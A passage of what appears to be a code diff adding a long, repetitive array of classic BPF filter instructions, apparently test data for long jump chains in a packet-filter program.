0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 